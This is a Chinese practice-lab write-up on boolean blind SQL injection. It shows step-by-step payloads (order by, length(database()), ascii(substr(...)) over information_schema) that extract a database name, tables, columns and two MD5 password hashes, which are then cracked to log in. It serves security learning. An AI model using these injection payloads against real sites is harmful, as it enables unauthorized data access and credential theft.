刷题笔记:SQL注入漏洞测试(布尔盲注)

由and语句可看到两句都为真时页面正常,一真一假时,页面报错

用order by语句查字段数

发现4的时候,页面正常,当5的时候,页面报错

所以字段数为4

用union select语句进行联合查询时,发现1,2,3,4语句并没有拼接上去  

在1前面加了个-号,仍然没有信息回显,又想到前面SQL语句执行成功和错误会返回两个不同的页面,所以考虑布尔盲注。

用and length(database())>=num语句来判断数据库长度,发现数据库的长度为10

运用bp的intruder来自动搜寻

 利用1 and ascii(substr(database(),1,1))=$0$语句进行搜寻 

对照ASCII表可以发现第一个字母为s

接下来用同样的方法进行遍历,可得数据库的名字为stormgroup

用and ascii(substr(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),1,1))=$0$进行遍历得

 第一个字母为m

以此类推,第二个字母为e,第三个字母为m,第四个字母为b,第五个字母为e,第六个字母为r

当查询到7时

说明该表名的长度就为6,即为member

把limit 0,1改为limit 1,1重复上述的操作,可以得到另一份表notice

把limit 1,1改为limit 2,1会发现页面报错,说明只有两份表

感觉member这份表更像是我们所需要的表,所以先查这个表

用and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))=$0$来遍历

可以得知第一个列名为name

继续更改limit,可以获得其他列名,分别为password,status

用and ascii(substr((select name from member limit 0,1),1,1))=$0$来遍历得具体数据

第一个name为mozhe,第二个name也为mozhe

用同样的方法查找密码

第一个密码为3114b433dece9180717f2b7de56b28a3

第二个密码为8a880e5daa8cafec7f2fc8412b994133

用MD5解密后,登录得flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值